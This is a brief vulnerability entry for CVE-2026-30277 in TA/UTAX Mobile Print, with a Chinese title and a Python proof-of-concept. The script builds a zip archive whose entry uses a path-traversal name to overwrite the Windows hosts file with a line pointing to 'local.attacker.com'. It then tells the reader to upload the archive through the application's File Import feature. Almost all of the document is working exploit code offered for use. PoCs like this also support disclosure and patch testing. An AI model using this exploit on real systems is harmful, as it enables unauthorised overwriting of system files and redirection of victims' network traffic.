CVE-2026-30277: TA/UTAX Mobile Print 任意文件覆盖漏洞

# PoC for Arbitrary File Overwrite via Path Traversal # This script generates a malicious archive intended to be imported by the vulnerable application. import zipfile import os def generate_exploit_zip(output_filename, target_file_path, malicious_content): """ Creates a zip file containing a file with a path traversal payload. """ try: with zipfile.ZipFile(output_filename, 'w') as zf: # Use path traversal to escape the extraction directory # Example target: Overwriting a critical configuration or library file zinfo = zipfile.ZipInfo(target_file_path) zinfo.compress_type = zipfile.ZIP_DEFLATED zf.writestr(zinfo, malicious_content) print(f"[+] Exploit file '{output_filename}' created successfully.") print(f"[+] Target file to overwrite: {target_file_path}") print(f"[*] Upload this file via the application's 'File Import' feature.") except Exception as e: print(f"[-] Error creating zip file: {e}") if __name__ == "__main__": # Configuration # Note: The actual path depends on the OS and installation directory of the target app. # This is a conceptual example targeting a Windows system file. TARGET_PATH = "../../../../../../Windows/System32/drivers/etc/hosts" PAYLOAD_CONTENT = "127.0.0.1 local.attacker.com\n" OUTPUT_FILE = "malicious_import.zip" generate_exploit_zip(OUTPUT_FILE, TARGET_PATH, PAYLOAD_CONTENT)